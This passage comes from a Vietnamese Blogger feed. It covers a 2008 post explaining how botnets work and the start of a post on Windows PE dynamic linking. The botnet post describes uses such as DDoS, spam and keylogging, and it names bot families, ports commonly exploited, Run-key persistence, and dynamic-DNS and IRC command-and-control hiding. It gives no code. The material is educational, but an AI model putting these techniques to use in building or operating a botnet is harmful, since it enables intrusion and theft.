giao thức hướng kết nối), gọi là TCP&lt;em&gt; syn flooding&lt;/em&gt; (tràn đồng bộ TCP). Cách thức hoạt động của chúng là gửi đồng thời cùng lúc một số lượng khổng lồ yêu cầu kết nối TCP tới một Web Server (hoặc bất kỳ dịch vụ nào khác), gây tràn tài nguyên server, dẫn đến tràn băng thông và ngăn không cho người dùng khác mở kết nối riêng của họ. Quả là đơn giản nhưng thực sự nguy hiểm! Kết quả thu được cũng tương tự khi dùng giao thức UDP (một giao thức không kết nối). &lt;br&gt;&lt;br&gt;Giới tin tặc cũng bỏ ra khá nhiều thời gian và công sức đầu tư nhằm nâng cao cách thức tấn công của chúng. Hiện nay, người dùng mạng máy tính như chúng ta đang phải đối mặt với nhiều kỹ thuật tinh vi hơn xa so kiểu tấn công DDoS truyền thống. Những kỹ thuật này cho phép kẻ tấn công điều khiển một số lượng cực kỳ lớn máy tính bị chiếm quyền điều khiển (zombie) tại một trạm từ xa mà đơn giản chỉ cần dùng giao thức IRC. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Spamming (phát tán thư rác)&lt;/font&gt; &lt;br&gt;&lt;/strong&gt;&lt;br&gt;Botnet là một công cụ lý tưởng cho các spammer (kẻ phát tán thư rác). Chúng đã, đang và sẽ được dùng vừa để trao đổi địa chỉ e-mail thu thập được, vừa để điều khiển cơ chế phát tán thư rác theo cùng một cách với kiểu tấn công DDoS. Thư rác được gửi tới botnet, sau đó phân phối qua các bot và từ đó phát tán tới máy tính đang bị chiếm quyền điều khiển. Tất cả spammer đều lấy tên nặc danh và mọi hậu quả thì máy tính bị phá hoại gánh chịu. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Sniffing và Keylogging&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Các bot cũng có thể được sử dụng một cách hiệu quả để nâng cao nghệ thuật cổ điển của hoạt động sniffing. Nếu theo dõi lưu lượng dữ liệu truyền đi, bạn có thể xác định được con số khó tin lượng thông tin được truyền tải. Đó có thể là thói quen của người dùng, trọng tải gói TCP và một số thông tin thú vị khác (như mật khẩu, tên người dùng). Cũng tương tự như vậy với keylogging, một hình thức thu thập tất cả thông tin trên bàn phím khi người dùng gõ vào máy tính (như e-mail, password, dữ liệu ngân hàng, tài khoản PayPal,…). &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Ăn cắp nhân dạng&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Các phương thức được đề cập ở trên cho phép kẻ tấn công điều khiển botnet để thu thập một lượng thông tin cá nhân khổng lồ. Những dữ liệu có thể được dùng để xây dựng nhân dạng giả mạo, sau đó lợi dụng để có thể truy cập tài khoản cá nhân hoặc thực hiện nhiều hoạt động khác (có thể là chuẩn bị cho nhiều cuộc tấn công khác) mà người gánh chịu hậu quả không ai khác chính là chủ nhân của các thông tin đó. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Sở hữu phần mềm bất hợp pháp&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Đây là hình thức cuối cùng, nhưng chưa phải là kết thúc. Các máy tính bị tấn công theo kiểu bot có thể được dùng như một kho lưu trữ động tài liệu bất hợp pháp (phần mềm ăn cắp bản quyền, tranh ảnh khiêu dâm,…). Dữ liệu được lưu trữ trên ổ cứng trong khi người dùng ADSL không hề hay biết. &lt;br&gt;&lt;br&gt;Còn rất nhiều, rất nhiều kiểu ứng dụng khác nữa được phát triển dựa trên botnet (như trả tiền cho mỗi lần kích chuột để sử dụng một chương trình, phishing, hijacking kết nối HTTP/HTTPS…), nhưng liệt kê ra được hết có lẽ sẽ phải mất hàng giờ. Bản thân bot chỉ là một công cụ với khả năng lắp ghép và thích ứng dễ dàng cho mọi hoạt động đòi hỏi đặt quyền kiểm soát đơn lên một số lượng lớn máy tính. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#ff6600" size="4"&gt;Các kiểu bot khác nhau&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Nhiều kiểu bot đã được xây dựng và cho phép download được cung cấp nhan nhản khắp Internet. Mỗi kiểu có những thành phần đặc biệt riêng. Chúng ta sẽ xem xét một số bot phổ biến nhất và thảo những thành phần chính và các yếu tố phân biệt của chúng. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;GT-Bot&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Tất cả các bot GT (&lt;em&gt;Global Threat&lt;/em&gt;) đều dựa trên kiểu client IRC phổ biến dành cho Windows gọi là mIRC. Cốt lõi của các bot này là xây dựng tập hợp script (kịch bản) mIRC, được dùng để điểu khiển hoạt động của hệ thống từ xa. Kiểu bot này khởi chạy một phiên client nâng cao với các script điều khiển và dùng một ứng dụng thứ hai, thông thường là HideWindows để ẩn mIRC trước người dùng máy tính đích. Một file DLL bổ sung sẽ thêm một số thành phần mới vào mIRC để các script có thể chi phối nhiều khía cạnh khác nhau trên máy tính bị chiếm quyền điều khiển. &lt;br&gt;&lt;br&gt;&lt;font color="#0000ff"&gt;&lt;strong&gt;Agobot&lt;/strong&gt; &lt;br&gt;&lt;/font&gt;&lt;br&gt;Agobot là một trong những kiểu bot phổ biến nhất thường được các tay bẻ khoá (craker) chuyên nghiệp sử dụng. Chúng được viết trên nền ngôn ngữ C++ và phát hành dưới dạng bản quyền GPL. Điểm thú vị ở Agobot là mã nguồn. Được modul hoá ở mức cao, Agobot cho phép thêm chức năng mới vào dễ dàng. Nó cũng cung cấp nhiều cơ chế ẩn mình trên máy tính người dùng. Thành phần chính của Agobot gồm: NTFS &lt;em&gt;Alternate Data Stream&lt;/em&gt; (Xếp luân phiên dòng dữ liệu NTFS), &lt;em&gt;Antivirus Killer&lt;/em&gt; (bộ diệt chương trình chống virus) và &lt;em&gt;Polymorphic Encryptor Engine&lt;/em&gt; (cơ chế mã hoá hình dạng). Agobot cung cấp tính năng sắp xếp và sniff lưu lượng. Các giao thức khác ngoài IRC cũng có thể được dùng để điều khiển kiểu bot này. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;DSNX&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Dataspy Network X (DSNX) cũng được viết trên nền ngồn ngữ C++ và mã nguồn dựa trên bản quyền GPL. Ở kiểu bot này có thêm một tính năng mới là kiến trúc plug-in đơn giản. &lt;br&gt;&lt;br&gt;&lt;font color="#0000ff"&gt;&lt;strong&gt;SDBot &lt;/strong&gt;&lt;br&gt;&lt;/font&gt;&lt;br&gt;SDBot được viết trên nền ngôn ngữ C và cũng sử dụng bản quyền GPL. Không giống như Agobot, mã nguồn của kiểu bot này rất rõ ràng và bản thân phần mềm có một lượng giới hạn chức năng. Nhưng SDBot rất phổ biến và đã được phát triển ra nhiều dạng biến thể khác nhau. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#ff6600" size="4"&gt;Các yếu tố của một cuộc tấn công&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Hình 1 thể hiện cấu trúc của một botnet điển hình: &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/042007/02/botnet_1.jpg" vspace="4"&gt;&lt;br&gt;Hình 1&lt;/em&gt;: Cấu trúc của một botnet điển hình&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;• Đầu tiên kẻ tấn công sẽ phát tán trojan horse vào nhiều máy tính khác nhau. Các máy tính này trở thành zombie (máy tính bị chiếm quyền điều khiển) và kết nối tới IRC server để nghe thêm nhiều lệnh sắp tới. &lt;br&gt;&lt;br&gt;• Server IRC có thể là một máy công cộng ở một trong các mạng IRC, nhưng cũng có thể là máy chuyên dụng do kẻ tấn công cài đặt lên một trong các máy bị chiếm quyền điều khiển. &lt;br&gt;&lt;br&gt;• Các bot chạy trên máy tính bị chiếm quyền điều khiển, hình thành một botnet. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#ff6600" size="4"&gt;Một ví dụ cụ thể&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Hoạt động của kẻ tấn công có thể chia thành bốn giai đoạn khác nhau: &lt;/p&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;    &lt;div&gt;Tạo &lt;/div&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;    &lt;div&gt;Cấu hình &lt;/div&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;    &lt;div&gt;Tấn công &lt;/div&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;    &lt;li&gt;&lt;br /&gt;    &lt;div&gt;Điều khiển &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p align="justify"&gt;Giai đoạn &lt;em&gt;Tạo&lt;/em&gt; phụ thuộc lớn vào kỹ năng và đòi hỏi của kẻ tấn công. Nếu là người bẻ khoá chuyên nghiệp, họ có thể cân nhắc giữa việc viết mã bot riêng hoặc đơn giản chỉ là mở rộng, tuỳ biến cái đã có. Lượng bot có sẵn là rất lớn và khả năng cấu hình cao. Một số còn cho phép thao tác dễ dàng hơn qua một giao diện đồ hoạ. Giai đoạn này không có gì khó khăn, thường dành cho những kẻ mới vào nghề. &lt;br&gt;&lt;br&gt;Giai đoạn &lt;em&gt;Cấu hình&lt;/em&gt; là cung cấp server IRC và kênh thông tin. Sau khi cài đặt lên một máy tính đã được kiểm soát, bot sẽ kết nối tới host được chọn. Đầu tiên kẻ tấn công nhập dữ liệu cần thiết vào để giới hạn quyền truy cập bot, bảo vệ an toàn cho kênh và cuối cùng cung cấp một danh sách người dùng được cấp phép (những người có thể điều khiển bot). Ở giai đoạn này, bot có thể được điều chỉnh sâu hơn, như định nghĩa phương thức tấn công và đích đến. &lt;br&gt;&lt;br&gt;Giai đoạn &lt;em&gt;Tấn công&lt;/em&gt; là sử dụng nhiều kỹ thuật khác nhau để phát tán bot, cả trực tiếp và gián tiếp. Hình thức trực tiếp có thể là khai thác lỗ hổng của hệ điều hành hoặc dịch vụ. Còn gián tiếp thường là triển khai một số phần mềm khác phục vụ cho công việc đen tối, như sử dụng file HTML dị dạng để khai thác lỗ hổng Internet Explorer, sử dụng một số phần mềm độc hại khác phân phối qua các mạng ngang hàng hoặc qua trao đổi file DCC (&lt;em&gt;Direct Client–to–Client&lt;/em&gt;) trên IRC. Tấn công trực tiếp thường được thực hiện tự động thông qua các sâu (worm). Tất cả công việc những sâu này phải làm là tìm kiếm mạng con trong hệ thống có lỗ hổng và chèn mã bot vào. Mỗi hệ thống bị xâm phạm sau đó sẽ tiếp tục thực hiện chương trình tấn công, cho phép kẻ tấn công ghi lại tài nguyên đã dùng trước đó và có được nhiều thời gian để tìm kiếm nạn nhân khác. &lt;br&gt;&lt;br&gt;Cơ chế được dùng để phân phối bot là một trong những lý do chính gây nên cái gọi là &lt;em&gt;tạp nhiễu nền&lt;/em&gt; Internet. Một số cổng chính được dùng cho Windows, cụ thể là Windows 2000, XP SP1 (xem Bảng 1). Chúng dường như là đích ngắm yêu thích của hacker, vì rất dễ tìm ra một máy tính Windows chưa được cập nhật bản vá đầy đủ hoặc không cài đặt phần mềm tường lửa. Trường hợp này cũng rất phổ biến với người dùng máy tính gia đình và các doanh nghiệp nhỏ, những đồi tượng thường bỏ qua vấn đề bảo mật và luôn kết nối Internet băng thông rộng. &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="4" cellspacing="0" width="50%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#003366"&gt;&lt;strong&gt;&lt;font color="#ffffff"&gt;Cổng&lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#003366"&gt;&lt;strong&gt;&lt;font color="#ffffff"&gt;Dịch vụ&lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;42&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;WINS (Host Name Server)&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;80&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;HTTP (lỗ hổng IIS hay Apache)&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;135&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;RPC (Remote Procedure Call)&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;137&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;NetBIOS Name Service&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;139&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;NetBIOS Session Service&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;445&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;Microsoft–DS–Service&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;1025&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;Windows Messenger&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;1433&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;Microsoft–SQL–Server&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;2745&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;Bagle worm backdoor&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;3127&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;MyDoom worm backdoor&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;3306&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;MySQL UDF (User Definable Functions)&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;5000&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000"&gt;&amp;nbsp;UPnP (Universal Plug and Play)&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;Bảng 1&lt;/em&gt;: Danh sách các cổng gắn với lỗ hổng dịch vụ&lt;/font&gt;&lt;br&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Giai đoạn &lt;em&gt;Điều khiển&lt;/em&gt; gồm một số hoạt động thực hiện sau khi bot đã được cài đặt lên máy đích trong một thư mục chọn. Để khởi động với Windows, bot update các khoá đăng ký, thông thường là &lt;font face="Courier New" size="2"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\&lt;/font&gt;. Việc đầu tiên bot thực hiện sau khi được cài đặt thành công là kết nối tới một server IRC và liên kết với kênh điều khiển thông qua sử dụng một mật khẩu. Nickname trên IRC được tạo ngẫu nhiên. Sau đó, bot ở trạng thái sẵn sàng chờ lệnh từ ứng dụng chủ. Kẻ tấn công cũng phải sử dụng một mật khẩu để kết nối tới botnet. Điều này là cần thiết để không ai khác có thể sử dụng mạng botnet đã được cung cấp. &lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/042007/02/botnet_2.jpg" vspace="4"&gt;&lt;br&gt;Hình 2&lt;/em&gt;: Kỹ thuật botnet hardening&lt;/font&gt; &lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;IRC không chỉ cung cấp phương tiện điều khiển hàng trăm bot mà còn cho phép kẻ tấn công sử dụng nhiều kỹ thuật khác nhau để ẩn nhân dạng thực của chúng. Điều đó khiến việc đối phó trước các cuộc tấn công trở nên khó khăn. Nhưng may mắn là, do đặc điểm tự nhiên của chúng, các botnet luôn tạo ra lưu lượng đáng ngờ, tạo điều kiện dễ dàng để có thể dò tìm nhờ một số kiểu mẫu hay mô hình đã biết. Điều đó giúp các quản trị viên IRC phát hiện và can thiệp kịp thời, cho phép họ gỡ bỏ các mạng botnet và những sự lạm dụng không đáng có trên hệ thống của họ. &lt;br&gt;&lt;br&gt;Trước tình hình này, những kẻ tấn công buộc phải nghĩ ra cách thức khác, cải tiến kỹ thuật C&amp;amp;C (&lt;em&gt;Control and Command&lt;/em&gt; - Điều khiển qua lệnh) thành botnet hardening. Ở kỹ thuật mới này, các bot thường được cấu hình để kết nối với nhiều server khác nhau, sử dụng một hostname ánh xạ động. Nhờ đó, kẻ tấn công có thể chuyển bot sang server mới dễ dàng, vẫn hoàn toàn nắm quyền kiểm soát ngay cả khi bot đã bị phát hiện. Các dịch vụ DNS động như dyndns.com hay no-IP.com thường được dùng trong kiểu tấn công này. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;DNS động&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Một DNS động (như RFC 2136) là một hệ thống liên kết tên miền với địa chỉ IP động. Người dùng kết nối Internet qua modem, ADSL hoặc cáp thường không có địa chỉ IP cố định. Khi một đối tượng người dùng kết nối tới Internet, nhà cung cấp dịch vụ mạng (ISP) sẽ gán một địa chỉ IP chưa được sử dụng lấy ra từ vùng được chọn. Địa chỉ này thường được giữ nguyên cho tới khi người dùng ngừng sử dụng kết nối đó. &lt;br&gt;&lt;br&gt;Cơ chế này giúp các hãng cung cấp dịch vụ mạng (ISP) tận dụng được tối đa khả năng khai thác địa chỉ IP, nhưng cản trở đối tượng người dùng cần thực hiện một số dịch vụ nào đó qua mạng Internet trong thời gian dài, song không phải sử dụng địa chỉ IP tĩnh. Để giải quyết vấn đề này, DNS động được cho ra đời. Hãng cung cấp sẽ tạo cho dịch vụ một chương trình chuyên dụng, gửi tín hiệu tới cơ sở dữ liệu DNS mỗi khi địa chỉ IP của người dùng thay đổi. &lt;br&gt;&lt;br&gt;Để ẩn hoạt động, kênh IRC được cấu hình giới hạn quyền truy cập và ẩn thao tác. Các mô hình IRC điển hình cho kênh botnet là: &lt;u&gt;+k&lt;/u&gt; (đòi hỏi phải nhập mật khẩu khi dùng kênh); &lt;u&gt;+s&lt;/u&gt; (không được hiển thị trên danh sách các kênh công cộng); &lt;u&gt;+u&lt;/u&gt; (chỉ có người điều hành (operator) là được hiển thị trên danh sách người dùng); &lt;u&gt;+m&lt;/u&gt; (chỉ có người dùng ở trạng thái sử dụng âm thanh &lt;u&gt;+v&lt;/u&gt; mới có thể gửi tin đến kênh). Hầu hết mọi chuyên gia tấn công đều dùng server IRC cá nhân, mã hoá tất cả liên lạc trên kênh dẫn. Chúng cũng có khuynh hướng sử dụng nhiều biến thể cá nhân hoá của phần mềm IRC server, được cấu hình để nghe trên các cổng ngoài tiêu chuẩn và sử dụng phiên bản đã được chỉnh sửa của giao thức, để một IRC client thông thường không thể kết nối vào mạng. &lt;/p&gt;&lt;/font&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-3099813537576421622?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/3099813537576421622/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=3099813537576421622' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/3099813537576421622'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/3099813537576421622'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/01/botnet-hot-ng-nh-th-no.html' title='Botnet hoạt động như thế nào ?'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-1561190803610024891</id><published>2008-01-27T06:24:00.000-08:00</published><updated>2008-01-27T06:27:18.393-08:00</updated><title type='text'>Liên kết động trong Linux và Windows (phần II)</title><content type='html'>&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Bài này thảo luận khái niệm thư viện chia sẻ trong cả Windows và Linux. Đồng thời cũng lướt qua các kiểu cấu trúc dữ liệu khác nhau để giải thích liên kết động làm việc như thế nào trong các hệ điều hành này. Bài này rất hữu ích cho các nhà phát triển hứng thú nghiên cứu vấn đề về hàm ẩn bảo mật, liên quan tới tốc độ liên kết động. Và cũng khẳng định một số kiến thức cơ bản về liên kết động đã được đưa ra trước đây. &lt;br&gt;&lt;br&gt;Phần một giới thiệu các khái niệm cho cả Linux và Windows, trong đó tập trung chủ yếu vào Linux. Bây giờ trong phần hai chúng ta sẽ xem xét liên kết động hoạt động như thế nào trong Windows và tiến tới so sánh hai môi trường với nhau. Các bạn nên xem lại phần một trước khi tiếp tục với phần hai này. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;&lt;img src="http://www.quantrimang.com/photos/Image/082006/24/dynamic_linking.jpg" alt="" align="left" hspace="4"&gt;Cấu trúc dữ liệu Windows Portable Executable File Format (PE)&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Chúng ta biết rằng một section (phân đoạn) là một đoạn mã lệnh hay dữ liệu hợp logic với nhau, và dữ liệu cho một bảng nhập thực thi thì nằm trong một section. Trong phần này chúng ta sẽ xem xét một số section trong các file Windows PE. &lt;br&gt;&lt;br&gt;&lt;strong&gt;Exports section (.edata)&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Section “.&lt;em&gt;edata&lt;/em&gt;” bắt đầu với cấu trúc thư mục xuất &lt;em&gt;IMAGE_EXPORT_DIRECTORY&lt;/em&gt;. Thư mục xuất bao gồm &lt;em&gt;RVAs&lt;/em&gt; (relative virtual addresses - địa chỉ ảo quan hệ) của Bảng địa chỉ xuất. Bảng này bao gồm địa chỉ của các điểm vào xuất, dữ liệu xuất và tuyệt đối. Một dãy số thứ tự được dùng để đánh chỉ mục cho bảng địa chỉ. Cơ sở thứ tự (Ordinal Base) phải được trừ cho các số thứ tự trước khi đánh chỉ mục vào bảng. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;em&gt;Export Name Table Pointers&lt;/em&gt;&lt;/strong&gt; (&lt;em&gt;Các con trỏ bảng tên xuất&lt;/em&gt;): mảng này chứa địa chỉ trong bảng tên xuất. Các con trỏ liên quan tới cớ sở hình ảnh và được sắp xếp theo thứ tự từ vựng để tìm kiếm nhị phân. Export Name Table bao gồm các tên theo chuẩn ASCII của các điểm vào xuất khẩu hình ảnh. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;em&gt;Export Ordinal Table&lt;/em&gt;&lt;/strong&gt; (&lt;em&gt;Bảng thứ tự xuất&lt;/em&gt;): các con trỏ bảng tên xuất khẩu và bảng thứ tự xuất khẩu tạo thành hai mảng song song. Mảng bảng thứ tự xuất bao gồm thứ tự kết hợp với tên xuất được trỏ bởi các con trỏ bảng tên xuất. Thứ tự sẽ được dùng như là chỉ mục trong EAT. &lt;br&gt;&lt;br&gt;&lt;strong&gt;Imports Section(.idata) &lt;/strong&gt;&lt;br&gt;&lt;br&gt;Section “.&lt;em&gt;idata&lt;/em&gt;” là ngược lại với section e.data mô tả ở trên. Nó bản đồ hoá các symbol hoặc thứ tự trở lại &lt;em&gt;RVAs&lt;/em&gt;. Phân đoạn &lt;em&gt;i.data&lt;/em&gt; bắt đầu với một bảng thư mục nhập &lt;em&gt;IMAGE_IMPORT_DIRECTORY&lt;/em&gt;. Bảng thư mục nhập này bao gồm một mảng cấu trúc &lt;em&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/em&gt;. Trong đó mỗi phần tử tương ứng với một thực thi. &lt;em&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/em&gt; bao gồm RVAs của: &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;em&gt;Import Lookup Table&lt;/em&gt;&lt;/strong&gt; (&lt;em&gt;Bảng tra tìm nhập&lt;/em&gt;): đây là mảng của cấu trúc &lt;em&gt;IMAGE_THUNK_DATA&lt;/em&gt;. Cấu trúc này bao gồm thứ tự hay hint (gợi ý) hoặc tên của mỗi hàm nhập. Bảng nhận dạng các ký tự nhập khẩu, với điểm vào trong Bảng tra tìm nhập khẩu là song song với điểm vào trong Bảng địa chỉ nhập (&lt;em&gt;Import Address Table - IAT&lt;/em&gt;). Nếu bit cao của điểm vào được thiết lập, các bit thấp sẽ là thứ tự. Nếu không thì điểm vào là một RVA của đầu vào trong bảng hint-name. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;em&gt;Import Address Table&lt;/em&gt;&lt;/strong&gt; (&lt;em&gt;Bảng điạ chỉ nhập&lt;/em&gt;): đây cũng là một mảng của cấu trúc &lt;em&gt;IMAGE_THUNK_DATA&lt;/em&gt;. Ban đầu cả Bảng tra tìm nhập khẩu và Bảng địa chỉ nhập khẩu chứa các điểm vào tương tự nhau. Bộ nạp có tác dụng điền địa chỉ cho các chu trình nhập trong bảng này, trong khi đó các mục trong &lt;em&gt;Import Lookup Table&lt;/em&gt; giữ lại dữ liệu gốc như trước. Chúng ta sẽ xem vì sao mối liên kết lại duy trì thông tin gốc muộn hơn khi chúng ta nói đến sự liên kết. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;em&gt;Hint-name Table&lt;/em&gt;&lt;/strong&gt; (&lt;em&gt;Bảng gợi ý-tên&lt;/em&gt;): Bảng bao gồm một hint (gợi ý) 4 byte theo sau tên với ký tự kết thúc là null. Giá trị hint được dùng để đánh chỉ mục cho mảng Con trỏ bảng tên xuất khẩu, cho phép nhanh hơn là nhập bằng tên. Hint sẽ chính xác nếu DDL không thay đổi hay ít nhất là danh sách ký tự xuất khẩu của nó không thay đổi. Nếu hint không chính xác thì việc tìm kiếm nhị phân sẽ diễn ra trên bảng &lt;em&gt;Export Name Pointer&lt;/em&gt;. 